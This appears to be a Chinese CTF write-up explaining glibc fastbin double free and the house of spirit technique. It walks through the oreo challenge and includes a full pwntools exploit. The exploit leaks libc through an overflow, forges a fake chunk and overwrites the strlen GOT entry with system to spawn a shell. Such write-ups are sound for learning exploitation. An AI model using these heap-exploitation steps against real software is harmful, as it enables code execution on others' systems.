fastbinattack&house of spirit——oreo

文章详细介绍了fastbinattack中的doublefree和houseofspirit两种攻击手法,涉及堆管理的free流程,如何利用这些漏洞伪造堆块,以及如何通过编辑函数和修改got表来实现攻击。还提到了利用GDB进行调试和Leak,并展示了在特定场景下如何构造payload以获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

fastbinattack

fastbinattack主要分为四种,先说两种,一个是double free,一个是今天主要学习的,house of spirit。说攻击手法之前必须先明白free的流程:

  1. 先检查size位是否为2*size_sz对齐,同时大于等于minisize,不是的话直接退出

  1. 如果size处于fastbin的范围内,并获取其nextchunk的值,其下一个chunk的大小需要正常

  1. 将其插入fastbin表头下一个,这里就会检查是否连续free了两个chunk

  1. 如果不处于fastbin范围内,就会先通过free的chunk的in_use位来判断上一个chunk是否为空闲状态,如果是,向前合并

  1. 通过下下个chunk的in_use位来判断下一个chunk是否为空闲状态,如果是,向后合并,如果不是将下一个chunk的in_use位变为0(topchunk除外)

  1. 插入unsortedbin中,在插入之前确定其呈环状

double free

这里可以很清楚的从第三步看出有漏洞,如果不是连续free两个相同的chunk呢,而是在中间free一个其他的chunk,就会出现:

fastbin-->chunk1-->chunk2<--chunk1

这个时候如果我malloc了chunk1然后在里面填写内容呢,就会出现可以在某处其他地方malloc堆的漏洞,这就是doublefree。

适用情况:1.有edit函数编辑堆内部内容

house of spirit

而house of spirit则会复杂一点,就是伪造一个堆块,然后想方法将其free掉,然后再malloc回来,就可以实现某地址写入的功能了,但是限制也多:

  1. 首先你需要有地址可以伪造堆块

  1. 然后你还需要找方法使其free掉

具体操作见以下题目

oreo

例行检查保护,现在看还是有两种方式打,一种是改got表,另一种是malloc_hook。

等于1:

这个函数就是创建一个如下结构的堆(偷别的师傅的图):

等于2:

这个是每一个堆的内容都输出

等于3:

这个是free最新的一个堆

等于4:

在0x804a2a8内存的地址写入数据

等于5:

输出那段数据

因为发现只能malloc固定大小的堆,所以只能利用更改got表来实现。那么首先就是需要leak,怎么leak呢,可以发现有一个溢出的漏洞,同时也可以发现将堆的最后4个字节改成某got表的地址,就可以利用show函数打印出got表内的地址,即真实地址。

这样就可以输出其中地址

payload = 'a' * 27 + p32(0x804a248)
gdb.attach(p)
pause()
allocate(payload ,'a')
show()
p.recvuntil("Description: ")
p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
print("puts_got:",hex(puts_addr))
libc = puts_addr - puts_offset
system = libc + system_offset
bin_sh_addr = libc + bin_sh_offset

这样system和"/bin/sh"的地址都出来了。接下来需要思考的是怎么改got表,因为我们发现edit函数是向某个位置写入,那我们就可以控制0x804a2a8内的地址为某got表地址,就可以写入了。怎么控制呢,house of spirit,因为我们可以通过增加堆数量来控制dword_804A2A4的值,可以将其视为堆的size位。同时我们也可以通过edit函数来伪造出下一个堆块。

伪造堆块的时候要注意:

  1. fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理

  1. fake chunk 地址需要对齐, MALLOC_ALIGN_MASK

  1. fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐

  1. fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

  1. fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

我们看一下构造的地方,就是0x804A2A4 - 4为其prev的位置。刚好对齐,还要注意的是0x804a2a4+52开始,必须为0,防止delete函数中free的错误。之后就是必须有一个nextchunk。

for i in range(0x3f):
    allocate('a','a')

payload = 'a' * 27 + p32(0x804a2a8)
#gdb.attach(p)
#pause()
allocate(payload , 'a')

payload = '\x00' * 0x24 + p32(0x21)
edit(payload)
#gdb.attach(p)
#pause()
delete()

这样就使0x3f个堆块的最后四个位置填上了0x804a2a8,free的时候就会顺带将fakechunk给free掉。

allocate('a',p32(elf.got['strlen']))
edit(p32(system)+";/bin/sh\x00")

p.interactive()

接下来就是老套路,改一下got表,然后注意一下因为edit函数调用了strlen,就可以直接用上述方法得到shell。

exp:

from LibcSearcher import *
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('/home/hacker/Desktop/oreo' )
#p=remote("node4.buuoj.cn",27153)
p=process('/home/hacker/Desktop/oreo' )

puts_offset = 0x5fcb0
system_offset = 0x3adb0
bin_sh_offset = 0x15BB2B

def allocate(content1,content2):
    p.sendline("1")
    p.sendline(content1)
    p.sendline(content2)

def show():
    p.sendlineafter("!","2")

def delete():
    p.sendline("3")

def edit(content):
    p.sendline("4")
    p.sendline(content)

#leak
payload = 'a' * 27 + p32(0x804a248)
gdb.attach(p)
pause()
allocate(payload ,'a')
show()
p.recvuntil("Description: ")
p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
print("puts_got:",hex(puts_addr))
libc = puts_addr - puts_offset
system = libc + system_offset
bin_sh_addr = libc + bin_sh_offset

#change got
for i in range(0x3f):
    allocate('a','a')

payload = 'a' * 27 + p32(0x804a2a8)
#gdb.attach(p)
#pause()
allocate(payload , 'a')

payload = '\x00' * 0x24 + p32(0x21)
edit(payload)
#gdb.attach(p)
#pause()
delete()

allocate('a',p32(elf.got['strlen']))
#get shell
edit(p32(system)+";/bin/sh\x00")

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值